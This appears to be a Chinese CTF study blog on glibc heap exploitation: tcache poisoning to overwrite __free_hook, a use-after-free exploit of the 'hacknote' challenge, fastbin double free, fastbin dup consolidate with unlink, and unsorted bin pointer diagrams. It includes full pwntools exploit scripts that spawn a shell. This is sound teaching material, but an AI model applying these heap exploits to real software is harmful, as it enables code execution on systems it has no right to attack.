因为2.27的Tcachebins 没有检查,可以任意地址申请,所以我们直接打__free_hook就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
libc = ELF('/home/he/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
p = process('./pwn')
elf = ELF('./pwn')

def bug():
gdb.attach(p)
def add(idx,size):
p.recvuntil(':')
p.sendline(b'1')
p.recvuntil(b'Index:')
p.sendline(str(idx))
p.recvuntil(b'Size')
p.sendline(str(size))
def free(idx):
p.recvuntil(':')
p.sendline(b'4')
p.recvuntil(b'Index:')
p.sendline(str(idx))
def show(idx):
p.recvuntil(':')
p.sendline(b'3')
p.recvuntil(b'Index:')
p.sendline(str(idx))
def edit(idx,content):
p.recvuntil(':')
p.sendline(b'2')
p.recvuntil(b'Index:')
p.sendline(str(idx))
p.recvuntil(b'Content:')
p.sendline(content)
for i in range (7):
add(i,0xf0)
add(7,0xf0)
add(8,0x88)
add(9,0xf0)
add(10,0x10)
for i in range(8):
free(i)
payload = b'\x00'*0x80+p64(0x190)
edit(8,payload)
free(9)
for i in range(7):
add(i, 0xf0)
add(7, 0xf0)
show(8)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x3ebca0
log.success('libc_base-->'+hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
add(11,0x88)
free(11)
edit(8,p64(free_hook))
add(12,0x88)
add(13,0x88)
system = libc.sym['system']+libc_base
edit(13,p64(system))
edit(12,b'/bin/sh\x00')
free(12)
p.interactive()

for i in range (7):

​ add(i,0xf0)

add(7,0xf0)

先申请七个,在申请的这个就会进入unsortbins,用来泄露libc

add(8,0x88)

这个堆块是在Tcachebins 中,但是也可以堆块合并堆叠,并且利用比fastbins更简单

for i in range(7):

​ add(i, 0xf0)

add(7, 0xf0)

这个先将7个Tcachebin申请出来,在申请一个就是unsortbins的,这样就可以泄露libc了,后面就不解释了


原理 :

简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

例题 ida:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int add_note()
{
int v0; // ebx
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !*(&notelist + i) )
{
*(&notelist + i) = malloc(8u);
if ( !*(&notelist + i) )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)*(&notelist + i) = print_note_content;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = (int)*(&notelist + i);
*(_DWORD *)(v0 + 4) = malloc(size);
if ( !*((_DWORD *)*(&notelist + i) + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)*(&notelist + i) + 1), size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}

解释:

1.申请两个堆块第一个堆块大小0x8(加上堆的头部0x10)并将堆指针所在的地址的内容写为(print_note_content

2.申请第二个堆块大小自己定作为用户数据段(但是也有堆头也就是0x28),并将堆指针所在地址后面四个字节写入第二个堆块的指针所指的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&notelist + v1) )
{
free(*((void **)*(&notelist + v1) + 1));
free(*(&notelist + v1));
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

清空两个堆块,但没有将指针置零,指针变为悬挂指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&notelist + v1) )
(*(void (__cdecl **)(_DWORD))*(&notelist + v1))(*(&notelist + v1));
return __readgsdword(0x14u) ^ v3;
}

引用后得到的函数指针所指向的函数(也就是print_note_content),同时将 *(&notelist + v1) 作为参数传递给该函数(也就是将堆块的内容打印出来)

UAF漏洞

定义

堆 UAF 漏洞指的是程序在释放堆内存之后,没有将对应的指针置为 NULL,并且后续代码又对该已经释放的内存进行了访问操作。这种情况下,被释放的内存可能会被重新分配给其他对象使用,此时对原指针的访问就会导致数据混乱、程序崩溃,甚至可能被攻击者利用来执行任意代码

原理

简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

思路:

  • 申请 note0,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
  • 申请 note1,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
  • 释放 note0
  • 释放 note1
  • 此时,大小为 16 的 fast bin chunk 中链表为 note1->note0
  • 申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则
  • note2 其实会分配 note1 对应的内存块。
  • real content 对应的 chunk 其实是 note0。
  • 如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

r = process('./hacknote')


def addnote(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)


def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))


def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))


magic = 0x08048986

addnote(32, "aaaa")
addnote(32, "ddaa")
gdb.attach(r)
delnote(0)
delnote(1)
#gdb.attach(r)
addnote(8, p32(magic))
#gdb.attach(r)
printnote(0)

r.interactive()

申请四个堆块(也就是两个0,1),将两个堆块free,在申请一个(2),这时候之前申请的两个0x10的堆块就会被重新启用,先free的A的指针内的内容就会被改为后门地址,print_note(0),本来会调用print_note_content,但是内容被改为了后门地址就会调用后门的函数获得shell

为什么不是print_note(1),因为申请一次堆块其实是申请出来了两个堆块,第二个堆块内才被写入数据,所以不是print_note(1)


1.Fastbin Double Free

Double free及将一个堆块free两次,gdb中如下图所示

70284676bc5d1e887cca2f653cfcea8a

这样我们就可以将两个堆块申请在同一个位置,其中一个堆块是free状态,我们可以通过另一个堆块对fd指针进行修改

Fastbin Double Free能够成功利用的原因:

1.fastbin的堆块被释放后next_chunk的prev_inuse位不会被清空

2.fastbin在执行free的时候仅验证了main_arena直接指向的块,即链表指针头部的块。对于链表后面的块并没有进行验证

2.fastbin dump into stack

顾名思义,将堆块申请在栈上,控制栈上的数据,利用uaf漏洞,将fd指针改为要控制数据的地址-0x10(因为fd指针指的是堆块的头部,所以需要-0x10,才刚好使数据段落在要要控制数据的栈上),修改堆块的内容就可以控制栈上的数据

注:首先要伪造size位(0xn1)

ISMMAP位不能为1

inues位为0

size位为0x40

地址要64位:0/8

​ 32位:0/4 对齐

在内存中构造了一个了一个堆块,还要怎么样才能让它 free

扩展用在fastbin attack打mallco使申请堆块大小受限制(<=0x60,也就是没发使堆块的size位为0x71)

在2.23和2.27的libc版本中,由于没有对top chunk的size合法性进行检查,所以我们把top_chunk的地址改了,就能申请任意地址

直接改top chunk的地址

申请一个size位为0x31的堆块,free掉,修改fd指针为0x61,再将这个堆块申请出来,这样main_arena中存储大小为0x30的堆块的数组就会存上0x61(为了伪造size位)

image

然后我们申请一个size位为0x61的堆块,free掉,修改指针到main_arena-80的地方这样,申请两次,将main_arena-80的堆块申请出来,因为main_arena-80与top chunk的地址紧挨着,所以可以写数据覆盖top chunk

为什么要是main_arena-80看图

image

这样可以伪造一个size位,堆块才能被申请在这里

imag

具体写多少自己数

1
2
3
4
5
6
7
8
9
10
11
12
13
add(0,0x20)
add(1,0x20)
free(0)
edit(0,p64(0x61))
add(2,0x20)
add(3,0x50)
free(3)
edit(3,p64(0x7ffff7bc4b28))
add(4,0x50)
add(5,0x50)
bug()
payload = p64(8)*8+p64(0x7ffff7bc4aed)
edit(5,payload)

3.fastbin dup consolidate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);

void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}

申请两个堆块大小范围在fastbin,p2是为了防止触发malloc_consolidate 使得p1被合并进入top_chunk

free掉p1进入fastbin申请0x400的大小的chunk,这时触发malloc_consolidate,p1就会被放在unsortbin

因为这时候p1已经不在fastbins了,可以再次free一次触发double free

这时候申请两次

第一次会把 fastbin 中的 p1 chunk 给 malloc 出来,然后 fastbin 为空

第二次会把 unsorted 中的 p1 chunk 给 malloc 出来,所以会能 malloc 到两次一样的 chunk

效果: 首先它会像unsortedbin(small)一样将相邻高地址的堆块inuse位置零同时也会被放进unsortedbin链表中(即存在fd和bk的使用), 其次它依旧满足fastbin的free堆块inuse位不置零, 那么如果存在有off by one或者其写入大小符合在不free时可以写入下一个chunk的pre_size, 那么就很容易触发到unlink了

具体实现:

malloc_consolidate的功能就是把chunk从fastbin取出,相邻的chunk进行合并,并且会设置下一个chunk的prev_inuse位为0。当chunk从fastbin里取出后,我们就可以在再一次free这个chunk了,此时,fastbin里没有形成循环链表,一个chunk在fastbin,一个chunk在unosrted bin(small)。关键的一点是下一个chunk的prev_inuse已经清零,我们将fastbin里的那个chunk申请回来,伪造一个chunk(往fastbin中写,也就是写入了unsortbin中,将fd与bk设为对应的值就可以),然后释放下一个unsorted bin范围的chunk,就会发生unlink。

1
2
3
4
5
6
7
8
9
add(1,b'samll')
add(2,b'big')
free(1)

add(3,b'large')
free(1)
payload = p64(0)+p64(0x21)+p64(small_buf_addr - 0x18) + p64(small_buf_addr - 0x10)+p64(0x20)
add(1,payload)
free(2)

触发unlink一定要伪造一个free掉的堆块在指针处,因为unlink比较是和头部比较,而数组中存储的是指针的值,所以要伪造头部在指针处才能绕过保护


以下是关于 unsorted binbin头fdbk 指向的详细解释和结构图,涵盖不同链表情形:


1. 基础规则

glibc 的堆管理中:

  • unsorted bin 是双向循环链表,遵循 FIFO(先进先出)规则。
  • bin头 fd:指向链表的第一个 chunk(最靠近头部的 chunk)。
  • bin头 bk:指向链表的最后一个 chunk(最靠近尾部的 chunk)。
  • 空链表时fdbk 均指向 bin头 自身。

2. 不同链表情形的结构图

(1) 空链表

unsorted bin 为空时,fdbk 均指向自身:

1
2
3
4
5
+-------------------+
| bin头 |
| fd = &bin头 |
| bk = &bin头 |
+-------------------+

(2) 单个 chunk(chunk1

插入一个 chunk 后,链表形成循环:

1
2
3
4
5
+-------------------+       +-------------------+
| bin头 | <---> | chunk1 |
| fd = chunk1 | | fd = &bin头 |
| bk = chunk1 | | bk = &bin头 |
+-------------------+ +-------------------+
  • 逻辑bin头fdbk 均指向 chunk1chunk1fdbk 回指 bin头

(3) 两个 chunk(chunk1 chunk2

插入第二个 chunk 到链表头部后:

1
2
3
4
5
+-------------------+       +-------------------+       +-------------------+
| bin头 | <---> | chunk2 | <---> | chunk1 |
| fd = chunk2 | | fd = chunk1 | | fd = &bin头 |
| bk = chunk1 | | bk = &bin头 | | bk = chunk2 |
+-------------------+ +-------------------+ +-------------------+
  • 关键指针

  • bin头.fd 指向第一个 chunk(chunk2)。

  • bin头.bk 指向最后一个 chunk(chunk1)。

  • chunk2.fd 指向 chunk1chunk2.bk 指向 bin头

  • chunk1.fd 指向 bin头chunk1.bk 指向 chunk2

(4) 三个 chunk(chunk1chunk2chunk3

插入第三个 chunk 到链表头部后:

1
2
3
4
5
+-------------------+       +-------------------+       +-------------------+       +-------------------+
| bin头 | <---> | chunk3 | <---> | chunk2 | <---> | chunk1 |
| fd = chunk3 | | fd = chunk2 | | fd = chunk1 | | fd = &bin头 |
| bk = chunk1 | | bk = &bin头 | | bk = chunk3 | | bk = chunk2 |
+-------------------+ +-------------------+ +-------------------+ +-------------------+
  • 逻辑:新 chunk 插入链表头部,bin头.bk 始终指向尾部 chunk(chunk1)。

3. 动态操作示例

(1) 插入新 chunk

向空链表插入 chunk1

1
2
3
4
5
6
7
8
9
[初始] 空链表:
bin头.fd = &bin头
bin头.bk = &bin头

[插入 chunk1]:
bin头.fd = chunk1
bin头.bk = chunk1
chunk1.fd = &bin头
chunk1.bk = &bin头

(2) 从链表中移除 chunk

从两个 chunk 的链表中移除 chunk1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[移除前]:
bin头.fd = chunk2
bin头.bk = chunk1
chunk2.fd = chunk1
chunk2.bk = &bin头
chunk1.fd = &bin头
chunk1.bk = chunk2

[移除 chunk1 后]:
+-------------------+ +-------------------+
| bin头 | <---> | chunk2 |
| fd = chunk2 | | fd = &bin头 |
| bk = chunk2 | | bk = &bin头 |
+-------------------+ +-------------------+

4. 总结

  • fd bk 的指向规则
链表情形 bin头.fd 指向 bin头.bk 指向
空链表 &bin头 &bin头
单个 chunk 第一个 chunk 第一个 chunk
多个 chunk 第一个 chunk 最后一个 chunk
  • 链表操作规则

  • 插入:新 chunk 插入链表头部(bin头.fd 更新为新 chunk)。

  • 移除:从头部或尾部移除 chunk,保持双向链表的完整性。

// 在最后添加